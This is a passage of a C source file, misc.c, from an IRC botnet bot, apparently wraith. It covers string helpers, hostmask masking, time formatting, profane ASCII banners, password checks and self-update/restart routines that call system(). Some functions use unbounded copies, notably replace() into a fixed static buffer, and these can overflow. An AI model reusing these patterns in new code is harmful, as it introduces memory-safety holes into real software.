misc.c 32 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136
  1. /*
  2. * misc.c -- handles:
  3. * split() maskhost() dumplots() daysago() days() daysdur()
  4. * queueing output for the bot (msg and help)
  5. * resync buffers for sharebots
  6. * motd display and %var substitution
  7. *
  8. */
  9. #include "common.h"
  10. #include "misc.h"
  11. #include "settings.h"
  12. #include "binary.h"
  13. #include "rfc1459.h"
  14. #include "botnet.h"
  15. #include "misc_file.h"
  16. #include "egg_timer.h"
  17. #include "dcc.h"
  18. #include "users.h"
  19. #include "main.h"
  20. #include "debug.h"
  21. #include "dccutil.h"
  22. #include "chanprog.h"
  23. #include "color.h"
  24. #include "botmsg.h"
  25. #include "bg.h"
  26. #include "chan.h"
  27. #include "tandem.h"
  28. #ifdef LEAF
  29. #include "src/mod/server.mod/server.h"
  30. #include "src/mod/irc.mod/irc.h"
  31. #endif /* LEAF */
  32. #include "userrec.h"
  33. #include "stat.h"
  34. #include <sys/wait.h>
  35. #include <stdarg.h>
  36. int server_lag = 0; /* GUESS! */
  37. bool use_invites = 1; /* Jason/drummer */
  38. bool use_exempts = 1; /* Jason/drummer */
  39. /*
  40. * Misc functions
  41. */
  42. /* low-level stuff for other modules
  43. */
  44. size_t my_strcpy(register char *a, register char *b)
  45. {
  46. register char *c = b;
  47. while (*b)
  48. *a++ = *b++;
  49. *a = *b;
  50. return b - c;
  51. }
  52. /* Split first word off of rest and put it in first
  53. */
  54. void splitc(char *first, char *rest, char divider)
  55. {
  56. char *p = strchr(rest, divider);
  57. if (p == NULL) {
  58. if (first != rest && first)
  59. first[0] = 0;
  60. return;
  61. }
  62. *p = 0;
  63. if (first != NULL)
  64. strcpy(first, rest);
  65. if (first != rest)
  66. /* In most circumstances, strcpy with src and dst being the same buffer
  67. * can produce undefined results. We're safe here, as the src is
  68. * guaranteed to be at least 2 bytes higher in memory than dest. <Cybah>
  69. */
  70. strcpy(rest, p + 1);
  71. }
  72. /* As above, but lets you specify the 'max' number of bytes (EXCLUDING the
  73. * terminating null).
  74. *
  75. * Example of use:
  76. *
  77. * char buf[HANDLEN + 1];
  78. *
  79. * splitcn(buf, input, "@", HANDLEN);
  80. *
  81. * <Cybah>
  82. */
  83. void splitcn(char *first, char *rest, char divider, size_t max)
  84. {
  85. char *p = strchr(rest, divider);
  86. if (p == NULL) {
  87. if (first != rest && first)
  88. first[0] = 0;
  89. return;
  90. }
  91. *p = 0;
  92. if (first != NULL)
  93. strncpyz(first, rest, max);
  94. if (first != rest)
  95. /* In most circumstances, strcpy with src and dst being the same buffer
  96. * can produce undefined results. We're safe here, as the src is
  97. * guaranteed to be at least 2 bytes higher in memory than dest. <Cybah>
  98. */
  99. strcpy(rest, p + 1);
  100. }
  101. char *splitnick(char **blah)
  102. {
  103. char *p = NULL, *q = *blah;
  104. p = strchr(*blah, '!');
  105. if (p) {
  106. *p = 0;
  107. *blah = p + 1;
  108. return q;
  109. }
  110. return "";
  111. }
  112. void remove_crlf(char *line)
  113. {
  114. char *p = NULL;
  115. if ((p = strchr(line, '\n')))
  116. *p = 0;
  117. if ((p = strchr(line, '\r')))
  118. *p = 0;
  119. }
  120. char *newsplit(char **rest)
  121. {
  122. if (!rest)
  123. return *rest = "";
  124. register char *o = *rest, *r = NULL;
  125. while (*o == ' ')
  126. o++;
  127. r = o;
  128. while (*o && (*o != ' '))
  129. o++;
  130. if (*o)
  131. *o++ = 0;
  132. *rest = o;
  133. return r;
  134. }
  135. /* Convert "abc!user@a.b.host" into "*!user@*.b.host"
  136. * or "abc!user@1.2.3.4" into "*!user@1.2.3.*"
  137. * or "abc!user@0:0:0:0:0:ffff:1.2.3.4" into "*!user@0:0:0:0:0:ffff:1.2.3.*"
  138. * or "abc!user@3ffe:604:2:b02e:6174:7265:6964:6573" into
  139. * "*!user@3ffe:604:2:b02e:6174:7265:6964:*"
  140. */
  141. void maskhost(const char *s, char *nw)
  142. {
  143. register const char *p, *q, *e, *f;
  144. int i;
  145. *nw++ = '*';
  146. *nw++ = '!';
  147. p = (q = strchr(s, '!')) ? q + 1 : s;
  148. /* Strip of any nick, if a username is found, use last 8 chars */
  149. if ((q = strchr(p, '@'))) {
  150. int fl = 0;
  151. if ((q - p) > 9) {
  152. nw[0] = '*';
  153. p = q - 7;
  154. i = 1;
  155. } else
  156. i = 0;
  157. while (*p != '@') {
  158. if (!fl && strchr("~+-^=", *p)) {
  159. if (strict_host)
  160. nw[i] = '?';
  161. else
  162. i--;
  163. } else
  164. nw[i] = *p;
  165. fl++;
  166. p++;
  167. i++;
  168. }
  169. nw[i++] = '@';
  170. q++;
  171. } else {
  172. nw[0] = '*';
  173. nw[1] = '@';
  174. i = 2;
  175. q = s;
  176. }
  177. nw += i;
  178. e = NULL;
  179. /* Now q points to the hostname, i point to where to put the mask */
  180. if ((!(p = strchr(q, '.')) || !(e = strchr(p + 1, '.'))) && !strchr(q, ':'))
  181. /* TLD or 2 part host */
  182. strcpy(nw, q);
  183. else {
  184. if (e == NULL) { /* IPv6 address? */
  185. const char *mask_str;
  186. f = strrchr(q, ':');
  187. if (strchr(f, '.')) { /* IPv4 wrapped in an IPv6? */
  188. f = strrchr(f, '.');
  189. mask_str = ".*";
  190. } else /* ... no, true IPv6. */
  191. mask_str = ":*";
  192. strncpy(nw, q, f - q);
  193. /* No need to nw[f-q] = 0 here, as the strcpy below will
  194. * terminate the string for us.
  195. */
  196. nw += (f - q);
  197. strcpy(nw, mask_str);
  198. } else {
  199. for (f = e; *f; f++);
  200. f--;
  201. if (*f >= '0' && *f <= '9') { /* Numeric IP address */
  202. while (*f != '.')
  203. f--;
  204. strncpy(nw, q, f - q);
  205. /* No need to nw[f-q] = 0 here, as the strcpy below will
  206. * terminate the string for us.
  207. */
  208. nw += (f - q);
  209. strcpy(nw, ".*");
  210. } else { /* Normal host >= 3 parts */
  211. /* a.b.c -> *.b.c
  212. * a.b.c.d -> *.b.c.d if tld is a country (2 chars)
  213. * OR *.c.d if tld is com/edu/etc (3 chars)
  214. * a.b.c.d.e -> *.c.d.e etc
  215. */
  216. const char *x = strchr(e + 1, '.');
  217. if (!x)
  218. x = p;
  219. else if (strchr(x + 1, '.'))
  220. x = e;
  221. else if (strlen(x) == 3)
  222. x = p;
  223. else
  224. x = e;
  225. sprintf(nw, "*%s", x);
  226. }
  227. }
  228. }
  229. }
  230. /* Dump a potentially super-long string of text.
  231. */
  232. void dumplots(int idx, const char *prefix, char *data)
  233. {
  234. if (!*data) {
  235. dprintf(idx, "%s\n", prefix);
  236. return;
  237. }
  238. char *p = data, *q = NULL, *n = NULL, c = 0;
  239. const size_t max_data_len = 500 - strlen(prefix);
  240. while (strlen(p) > max_data_len) {
  241. q = p + max_data_len;
  242. /* Search for embedded linefeed first */
  243. n = strchr(p, '\n');
  244. if (n && n < q) {
  245. /* Great! dump that first line then start over */
  246. *n = 0;
  247. dprintf(idx, "%s%s\n", prefix, p);
  248. *n = '\n';
  249. p = n + 1;
  250. } else {
  251. /* Search backwards for the last space */
  252. while (*q != ' ' && q != p)
  253. q--;
  254. if (q == p)
  255. q = p + max_data_len;
  256. c = *q;
  257. *q = 0;
  258. dprintf(idx, "%s%s\n", prefix, p);
  259. *q = c;
  260. p = q;
  261. if (c == ' ')
  262. p++;
  263. }
  264. }
  265. /* Last trailing bit: split by linefeeds if possible */
  266. n = strchr(p, '\n');
  267. while (n) {
  268. *n = 0;
  269. dprintf(idx, "%s%s\n", prefix, p);
  270. *n = '\n';
  271. p = n + 1;
  272. n = strchr(p, '\n');
  273. }
  274. if (*p)
  275. dprintf(idx, "%s%s\n", prefix, p); /* Last trailing bit */
  276. }
  277. /* Convert an interval (in seconds) to one of:
  278. * "19 days ago", "1 day ago", "18:12"
  279. */
  280. void daysago(time_t mynow, time_t then, char *out)
  281. {
  282. if (mynow - then > 86400) {
  283. int mydays = (mynow - then) / 86400;
  284. sprintf(out, "%d day%s ago", mydays, (mydays == 1) ? "" : "s");
  285. return;
  286. }
  287. egg_strftime(out, 6, "%H:%M", gmtime(&then));
  288. }
  289. /* Convert an interval (in seconds) to one of:
  290. * "in 19 days", "in 1 day", "at 18:12"
  291. */
  292. void days(time_t mynow, time_t then, char *out)
  293. {
  294. if (mynow - then > 86400) {
  295. int mydays = (mynow - then) / 86400;
  296. sprintf(out, "in %d day%s", mydays, (mydays == 1) ? "" : "s");
  297. return;
  298. }
  299. egg_strftime(out, 9, "at %H:%M", gmtime(&now));
  300. }
  301. /* Convert an interval (in seconds) to one of:
  302. * "for 19 days", "for 1 day", "for 09:10"
  303. */
  304. void daysdur(time_t mynow, time_t then, char *out)
  305. {
  306. if (mynow - then > 86400) {
  307. int mydays = (mynow - then) / 86400;
  308. sprintf(out, "for %d day%s", mydays, (mydays == 1) ? "" : "s");
  309. return;
  310. }
  311. char s[81] = "";
  312. int hrs, mins;
  313. strcpy(out, "for ");
  314. mynow -= then;
  315. hrs = (int) (mynow / 3600);
  316. mins = (int) ((mynow - (hrs * 3600)) / 60);
  317. sprintf(s, "%02d:%02d", hrs, mins);
  318. strcat(out, s);
  319. }
  320. /* show l33t banner */
  321. static char *fuckyou = " _ _ _ __ _ ____\n| | | (_) / _|_ _ ___| | __ _ _ ___ _ _ _| _ \\\n| |_| | | | |_| | | |/ __| |/ / | | | |/ _ \\| | | | (_) | | |\n| _ | |_ | _| |_| | (__| < | |_| | (_) | |_| | _| |_| |\n|_| |_|_( ) |_| \\__,_|\\___|_|\\_\\ \\__, |\\___/ \\__,_| (_)____/\n |/ |___/\n";
  322. char *wbanner(void) {
  323. if (fuckyou) { ; } /* gcc warnings */
  324. switch (randint(9)) {
  325. case 0: return STR(" .__ __ .__\n__ _ ______________ |__|/ |_| |__\n\\ \\/ \\/ /\\_ __ \\__ \\ | \\ __\\ | \\\n \\ / | | \\// __ \\| || | | Y \\\n \\/\\_/ |__| (____ /__||__| |___| /\n \\/ \\/\n");
  326. case 1: return STR(" _ _ _ \n__ ___ __ __ _(_) |_| |__ \n\\ \\ /\\ / / '__/ _` | | __| '_ \\ \n \\ V V /| | | (_| | | |_| | | |\n \\_/\\_/ |_| \\__,_|_|\\__|_| |_|\n");
  327. case 2: return STR("@@@ @@@ @@@ @@@@@@@ @@@@@@ @@@ @@@@@@@ @@@ @@@\n@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@@@@@ @@@ @@@\n@@! @@! @@! @@! @@@ @@! @@@ @@! @@! @@! @@@\n!@! !@! !@! !@! @!@ !@! @!@ !@! !@! !@! @!@\n@!! !!@ @!@ @!@!!@! @!@!@!@! !!@ @!! @!@!@!@!\n!@! !!! !@! !!@!@! !!!@!!!! !!! !!! !!!@!!!!\n!!: !!: !!: !!: :!! !!: !!! !!: !!: !!: !!!\n:!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:!\n :::: :: ::: :: ::: :: ::: :: :: :: :::\n :: : : : : : : : : : : : : : :\n");
  328. case 3: return STR(" o8o . oooo\n `'' .o8 `888\noooo oooo ooo oooo d8b .oooo. oooo .o888oo 888 .oo.\n `88. `88. .8' `888''8P `P )88b `888 888 888P'Y88b\n `88..]88..8' 888 .oP'888 888 888 888 888\n `888'`888' 888 d8( 888 888 888 . 888 888\n `8' `8' d888b `Y888''8o o888o '888' o888o o888o\n");
  329. case 4: return STR(" *\n * * **\n** *** ** **\n** * ** **\n ** *** **** *** **** ******** **\n ** *** *** * **** **** * **** *** ******** ** ***\n ** *** **** ** **** * *** * *** ** ** * ***\n ** ** ** ** * **** ** ** *** ***\n ** ** ** ** ** ** ** ** ** **\n ** ** ** ** ** ** ** ** ** **\n ** ** ** ** ** ** ** ** ** **\n ** ** * ** ** ** ** ** ** **\n ******* ******* *** ** ** ** ** ** **\n ***** ***** *** ***** ** *** * ** ** **\n *** ** *** ** **\n *\n *\n *\n *\n");
  330. case 5: return STR(" ::: === === :::==== :::==== ::: :::==== ::: ===\n ::: === === ::: === ::: === ::: :::==== ::: ===\n === === === ======= ======== === === ========\n =========== === === === === === === === ===\n ==== ==== === === === === === === === ===\n");
  331. case 6: return STR(" _ _ _ ______ _______ _____ _______ _ _\n | | | |_____/ |_____| | | |_____|\n |__|__| | \\_ | | __|__ | | |\n");
  332. case 7: return STR(" dBPdBPdBP dBBBBBb dBBBBBb dBP dBBBBBBP dBP dBP\n dBP BB\n dBPdBPdBP dBBBBK dBP BB dBP dBP dBBBBBP\n dBPdBPdBP dBP BB dBP BB dBP dBP dBP dBP\n dBBBBBBBP dBP dB' dBBBBBBB dBP dBP dBP dBP\n");
  333. case 8: return STR(" /\n # #/\n ### # ##\n## # ## ##\n## ## ##\n ## ### #### ### /### /### ### ########## /##\n ## ### ###/ ###/ #### / ###/ ########### ## / ###\n ## ### ### ## ###/ ### ## ## ##/ ###\n ## ## ## ## ## ## ## ## ## ##\n ## ## ## ## ## ## ## ## ## ##\n ## ## ## ## ## ## ## ## ## ##\n ## ## ## ## ## ## ## ## ## ##\n ## /# / ## ## /# ## ## ## ##\n ######/ ######/ ### ####/ ## ### /## ## ##\n ##### ##### ### ### ##/##/ ## ## ##\n /\n /\n /\n /");
  334. }
  335. return "";
  336. }
  337. void show_banner(int idx)
  338. {
  339. /* we use sock so that colors aren't applied to banner */
  340. if (dcc[idx].status & STAT_BANNER)
  341. dumplots(-dcc[idx].sock, "", wbanner());
  342. dprintf(idx, " \n");
  343. dprintf(-dcc[idx].sock, " ------------------------------------------------------- \n");
  344. dprintf(-dcc[idx].sock, STR("| Contributions welcomed by paypal: bryan@shatow.net |\n"));
  345. dprintf(-dcc[idx].sock, STR("| - http://wraith.shatow.net/ - |\n"));
  346. dprintf(-dcc[idx].sock, " ------------------------------------------------------- \n");
  347. dprintf(idx, " \n");
  348. }
  349. /* show motd to dcc chatter */
  350. void show_motd(int idx)
  351. {
  352. if (CFG_MOTD.gdata && *(char *) CFG_MOTD.gdata) {
  353. char *who = NULL, *buf = NULL, *buf_ptr = NULL, date[50] = "";
  354. time_t when;
  355. buf = buf_ptr = strdup(CFG_MOTD.gdata);
  356. who = newsplit(&buf);
  357. when = atoi(newsplit(&buf));
  358. egg_strftime(date, sizeof date, "%c %Z", gmtime(&when));
  359. dprintf(idx, "Motd set by %s%s%s (%s)\n", BOLD(idx), who, BOLD_END(idx), date);
  360. dumplots(idx, "* ", replace(buf, "\\n", "\n"));
  361. dprintf(idx, " \n");
  362. free(buf_ptr);
  363. } else
  364. dprintf(idx, "Motd: none\n");
  365. }
  366. void show_channels(int idx, char *handle)
  367. {
  368. struct chanset_t *chan = NULL;
  369. struct flag_record fr = { FR_CHAN | FR_GLOBAL, 0, 0, 0 };
  370. struct userrec *u = NULL;
  371. int first = 0, total = 0;
  372. size_t l = 0;
  373. char format[120] = "";
  374. if (handle)
  375. u = get_user_by_handle(userlist, handle);
  376. else
  377. u = dcc[idx].user;
  378. for (chan = chanset;chan ;chan = chan->next) {
  379. get_user_flagrec(u, &fr, chan->dname);
  380. if (l < strlen(chan->dname)) {
  381. l = strlen(chan->dname);
  382. }
  383. if (chk_op(fr, chan))
  384. total++;
  385. }
  386. egg_snprintf(format, sizeof format, " %%c%%-%us %%-s%%-s%%-s%%-s%%-s\n", (l+2));
  387. for (chan = chanset;chan;chan = chan->next) {
  388. int opped = 0;
  389. #ifdef LEAF
  390. opped = me_op(chan);
  391. #endif /* LEAF */
  392. get_user_flagrec(u, &fr, chan->dname);
  393. if (chk_op(fr, chan)) {
  394. if (!first) {
  395. dprintf(idx, "%s %s access to %d channel%s:\n", handle ? u->handle : "You", handle ? "has" : "have", total, (total > 1) ? "s" : "");
  396. first = 1;
  397. }
  398. dprintf(idx, format, opped ? '@' : ' ', chan->dname, !shouldjoin(chan) ? "(inactive) " : "",
  399. channel_privchan(chan) ? "(private) " : "", !channel_manop(chan) ? "(no manop) " : "",
  400. channel_bitch(chan) ? "(bitch) " : "", channel_closed(chan) ? "(closed)" : "");
  401. }
  402. }
  403. if (!first)
  404. dprintf(idx, "%s %s not have access to any channels.\n", handle ? u->handle : "You", handle ? "does" : "do");
  405. }
  406. /* Create a string with random letters and digits
  407. */
  408. void make_rand_str(char *s, size_t len)
  409. {
  410. int r = 0;
  411. for (size_t j = 0; j < len; j++) {
  412. r = randint(4);
  413. if (r == 0)
  414. s[j] = '0' + randint(10);
  415. else if (r == 1)
  416. s[j] = 'a' + randint(26);
  417. else if (r == 2)
  418. s[j] = 'A' + randint(26);
  419. else if (r == 3)
  420. s[j] = '!' + randint(15);
  421. if (s[j] == 33 || s[j] == 37 || s[j] == 34 || s[j] == 40 || s[j] == 41 || s[j] == 38 || s[j] == 36) /* no % ( ) & */
  422. s[j] = 35;
  423. }
  424. s[len] = '\0';
  425. }
  426. /* Return an allocated buffer which contains a copy of the string
  427. * 'str', with all 'div' characters escaped by 'mask'. 'mask'
  428. * characters are escaped too.
  429. *
  430. * Remember to free the returned memory block.
  431. */
  432. char *str_escape(const char *str, const char divc, const char mask)
  433. {
  434. const size_t len = strlen(str);
  435. size_t buflen = (2 * len), blen = 0;
  436. char *buf = NULL, *b = NULL;
  437. const char *s = NULL;
  438. b = buf = (char *) calloc(1, buflen + 1);
  439. for (s = str; *s; s++) {
  440. /* Resize buffer. */
  441. if ((buflen - blen) <= 3) {
  442. buflen <<= 1; /* * 2 */
  443. buf = (char *) realloc(buf, buflen + 1);
  444. if (!buf)
  445. return NULL;
  446. b = buf + blen;
  447. }
  448. if (*s == divc || *s == mask) {
  449. sprintf(b, "%c%02x", mask, *s);
  450. b += 3;
  451. blen += 3;
  452. } else {
  453. *(b++) = *s;
  454. blen++;
  455. }
  456. }
  457. *b = 0;
  458. return buf;
  459. }
  460. /* Is every character in a string a digit? */
  461. int str_isdigit(const char *str)
  462. {
  463. if (!str || (str && !*str))
  464. return 0;
  465. for(; *str; ++str) {
  466. if (!egg_isdigit(*str))
  467. return 0;
  468. }
  469. return 1;
  470. }
  471. /* Search for a certain character 'div' in the string 'str', while
  472. * ignoring escaped characters prefixed with 'mask'.
  473. *
  474. * The string
  475. *
  476. * "\\3a\\5c i am funny \\3a):further text\\5c):oink"
  477. *
  478. * as str, '\\' as mask and ':' as div would change the str buffer
  479. * to
  480. *
  481. * ":\\ i am funny :)"
  482. *
  483. * and return a pointer to "further text\\5c):oink".
  484. *
  485. * NOTE: If you look carefully, you'll notice that strchr_unescape()
  486. * behaves differently than strchr().
  487. */
  488. char *strchr_unescape(char *str, const char divc, register const char esc_char)
  489. {
  490. char buf[3] = "";
  491. register char *s = NULL, *p = NULL;
  492. for (s = p = str; *s; s++, p++) {
  493. if (*s == esc_char) { /* Found escape character. */
  494. /* Convert code to character. */
  495. buf[0] = s[1], buf[1] = s[2];
  496. *p = (unsigned char) strtol(buf, NULL, 16);
  497. s += 2;
  498. } else if (*s == divc) {
  499. *p = *s = 0;
  500. return (s + 1); /* Found searched for character. */
  501. } else
  502. *p = *s;
  503. }
  504. *p = 0;
  505. return NULL;
  506. }
  507. /* As strchr_unescape(), but converts the complete string, without
  508. * searching for a specific delimiter character.
  509. */
  510. void str_unescape(char *str, register const char esc_char)
  511. {
  512. strchr_unescape(str, 0, esc_char);
  513. return;
  514. }
  515. /* Kills the bot. s1 is the reason shown to other bots,
  516. * s2 the reason shown on the partyline. (Sup 25Jul2001)
  517. */
  518. void kill_bot(char *s1, char *s2)
  519. {
  520. #ifdef HUB
  521. write_userfile(-1);
  522. #endif /* HUB */
  523. #ifdef LEAF
  524. server_die();
  525. #endif /* LEAF */
  526. chatout("*** %s\n", s1);
  527. botnet_send_chat(-1, conf.bot->nick, s1);
  528. botnet_send_bye();
  529. fatal(s2, 0);
  530. }
  531. /* Update system code
  532. */
  533. void
  534. restart(int idx)
  535. {
  536. char buf[1024] = "";
  537. const char *reason = idx != -1 ? "Updating..." : "Restarting...";
  538. #ifdef HUB
  539. write_userfile(idx);
  540. #endif /* HUB */
  541. #ifdef LEAF
  542. nuke_server((char *) reason); /* let's drop the server connection ASAP */
  543. cycle_time = 0;
  544. #endif /* LEAF */
  545. if (tands > 0) {
  546. botnet_send_chat(-1, conf.bot->nick, (char *) reason);
  547. botnet_send_bye();
  548. }
  549. fatal(idx <= 0x7FF0 ? reason : NULL, 1);
  550. usleep(2000 * 500);
  551. unlink(conf.bot->pid_file); /* if this fails it is ok, cron will restart the bot, *hopefully* */
  552. sprintf(buf, "%s -B %s\n", binname, conf.bot->nick);
  553. system(buf); /* start new bot. */
  554. exit(0);
  555. }
  556. int updatebin(int idx, char *par, int secs)
  557. {
  558. if (!par || !par[0]) {
  559. logidx(idx, "Not enough parameters.");
  560. return 1;
  561. }
  562. char *path = (char *) calloc(1, strlen(binname) + strlen(par) + 2);
  563. char *newbin = NULL, old[DIRMAX] = "", testbuf[DIRMAX] = "";
  564. int i;
  565. strcpy(path, binname);
  566. newbin = strrchr(path, '/');
  567. if (!newbin) {
  568. free(path);
  569. logidx(idx, "Don't know current binary name");
  570. return 1;
  571. }
  572. newbin++;
  573. if (strchr(par, '/')) {
  574. *newbin = 0;
  575. logidx(idx, "New binary must be in %s and name must be specified without path information", path);
  576. free(path);
  577. return 1;
  578. }
  579. strcpy(newbin, par);
  580. #ifdef CYGWIN_HACKS
  581. /* tack on the .exe */
  582. if (!strstr(path, ".exe")) {
  583. path = (char *) realloc(path, strlen(path) + 4 + 1);
  584. strcat(path, ".exe");
  585. path[strlen(path)] = 0;
  586. }
  587. #endif /* CYGWIN_HACKS */
  588. if (!strcmp(path, binname)) {
  589. free(path);
  590. logidx(idx, "Can't update with the current binary");
  591. return 1;
  592. }
  593. if (!can_stat(path)) {
  594. logidx(idx, "%s can't be accessed", path);
  595. free(path);
  596. return 1;
  597. }
  598. if (fixmod(path)) {
  599. logidx(idx, "Can't set mode 0600 on %s", path);
  600. free(path);
  601. return 1;
  602. }
  603. /* make a backup just in case. */
  604. egg_snprintf(old, sizeof old, "%s.bin.old", tempdir);
  605. copyfile(binname, old);
  606. write_settings(path, 0); /* re-write the binary with our data */
  607. /* The binary should return '2' when ran with -2, if not it's probably corrupt. */
  608. egg_snprintf(testbuf, sizeof testbuf, "%s -2", path);
  609. #ifndef CYGWIN_HACKS
  610. putlog(LOG_DEBUG, "*", "Running for update binary test: %s", testbuf);
  611. i = system(testbuf);
  612. if (i == -1 || WEXITSTATUS(i) != 2) {
  613. dprintf(idx, "Couldn't restart new binary (error %d)\n", i);
  614. putlog(LOG_MISC, "*", "Couldn't restart new binary (error %d)", i);
  615. return i;
  616. }
  617. #endif /* CYGWIN_HACKS */
  618. #ifdef CYGWIN_HACKS
  619. {
  620. size_t binsize = strlen(tmpdir) + 7 + 1;
  621. char *tmpbuf = (char *) calloc(1, binsize);
  622. sprintf(tmpbuf, "%sbin.old", tmpdir);
  623. tmpbuf[binsize - 1] = 0;
  624. movefile(binname, tmpbuf);
  625. free(tmpbuf);
  626. }
  627. #endif /* CYGWIN_HACKS */
  628. if (movefile(path, binname)) {
  629. logidx(idx, "Can't rename %s to %s", path, binname);
  630. free(path);
  631. return 1;
  632. }
  633. /* safe to run new binary.. */
  634. if (updating == 2) /* dont restart/kill/spawn bots, just die ! */
  635. fatal("Binary updated.", 0);
  636. #ifdef LEAF
  637. if (secs > 0) {
  638. char buf[DIRMAX] = "";
  639. /* will exit after run, cron will restart us later */
  640. egg_snprintf(buf, sizeof buf, "%s -L %s -P %d", binname, conf.bot->nick, getpid());
  641. putlog(LOG_DEBUG, "*", "Running for update: %s", buf);
  642. system(buf); /* restarts other bots running, removes pid files */
  643. /* this odd statement makes it so specifying 1 sec will restart other bots running
  644. * and then just restart with no delay */
  645. if (secs > 1) {
  646. egg_timeval_t howlong;
  647. howlong.sec = secs;
  648. howlong.usec = 0;
  649. timer_create_complex(&howlong, "restarting for update", (Function) restart, (void *) idx, 0);
  650. } else
  651. restart(idx);
  652. return 0;
  653. } else
  654. #endif /* LEAF */
  655. restart(idx); /* no timer */
  656. /* this should never be reached */
  657. return 2;
  658. }
  659. int bot_aggressive_to(struct userrec *u)
  660. {
  661. char mypval[20] = "", botpval[20] = "";
  662. link_pref_val(u, botpval);
  663. link_pref_val(conf.bot->u, mypval);
  664. if (strcmp(mypval, botpval) < 0)
  665. return 1;
  666. else
  667. return 0;
  668. }
  669. int goodpass(char *pass, int idx, char *nick)
  670. {
  671. if (!pass[0])
  672. return 0;
  673. char tell[501] = "";
  674. int nalpha = 0, lcase = 0, ucase = 0, ocase = 0, tc;
  675. for (int i = 0; i < (signed) strlen(pass); i++) {
  676. tc = (int) pass[i];
  677. if (tc < 58 && tc > 47)
  678. ocase++; /* number */
  679. else if (tc < 91 && tc > 64)
  680. ucase++; /* upper case */
  681. else if (tc < 123 && tc > 96)
  682. lcase++; /* lower case */
  683. else
  684. nalpha++; /* non-alphabet/number */
  685. }
  686. /* if (ocase < 1 || lcase < 2 || ucase < 2 || nalpha < 1 || strlen(pass) < 8) { */
  687. if (lcase < 2 || ucase < 2 || strlen(pass) < 8) {
  688. sprintf(tell, "Insecure pass, must be: ");
  689. if (ocase < 1)
  690. strcat(tell, "\002>= 1 number\002, ");
  691. else
  692. strcat(tell, ">= 1 number, ");
  693. if (lcase < 2)
  694. strcat(tell, "\002>= 2 lcase\002, ");
  695. else
  696. strcat(tell, ">= 2 lowercase, ");
  697. if (ucase < 2)
  698. strcat(tell, "\002>= 2 ucase\002, ");
  699. else
  700. strcat(tell, ">= 2 uppercase, ");
  701. /* This is annoying as hell
  702. if (nalpha < 1)
  703. strcat(tell, "\002>= 1 non-alpha/num\002, ");
  704. else
  705. strcat(tell, ">= 1 non-alpha/num, ");
  706. */
  707. if (strlen(pass) < 8)
  708. strcat(tell, "\002>= 8 chars.\002");
  709. else
  710. strcat(tell, ">= 8 chars.");
  711. if (idx)
  712. dprintf(idx, "%s\n", tell);
  713. else if (nick[0])
  714. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, tell);
  715. return 0;
  716. }
  717. return 1;
  718. }
  719. char *replace(const char *string, const char *oldie, const char *newbie)
  720. {
  721. if (string == NULL)
  722. return "";
  723. char *c = NULL;
  724. if ((c = (char *) strstr(string, oldie)) == NULL)
  725. return (char *) string;
  726. static char newstring[1024] = "";
  727. const size_t new_len = strlen(newbie), old_len = strlen(oldie), end = (strlen(string) - old_len);
  728. size_t str_index = 0, newstr_index = 0, oldie_index = c - string, cpy_len;
  729. while(str_index <= end && c != NULL) {
  730. cpy_len = oldie_index-str_index;
  731. strncpy(newstring + newstr_index, string + str_index, cpy_len);
  732. newstr_index += cpy_len;
  733. str_index += cpy_len;
  734. strcpy(newstring + newstr_index, newbie);
  735. newstr_index += new_len;
  736. str_index += old_len;
  737. if((c = (char *) strstr(string + str_index, oldie)) != NULL)
  738. oldie_index = c - string;
  739. }
  740. strcpy(newstring + newstr_index, string + str_index);
  741. return (newstring);
  742. }
  743. void showhelp(int idx, struct flag_record *flags, char *string)
  744. {
  745. struct flag_record fr = {FR_GLOBAL | FR_CHAN, 0, 0, 0 };
  746. char *helpstr = (char *) calloc(1, strlen(string) + 1000 + 1);
  747. char tmp[2] = "", flagstr[10] = "";
  748. bool ok = 1;
  749. while (string && string[0]) {
  750. if (*string == '%') {
  751. if (!strncmp(string + 1, "{+", 2)) {
  752. while (*string && *string != '+') {
  753. string++;
  754. }
  755. flagstr[0] = 0;
  756. while (*string && *string != '}') {
  757. sprintf(tmp, "%c", *string);
  758. strcat(flagstr, tmp);
  759. string++;
  760. }
  761. string++;
  762. break_down_flags(flagstr, &fr, NULL);
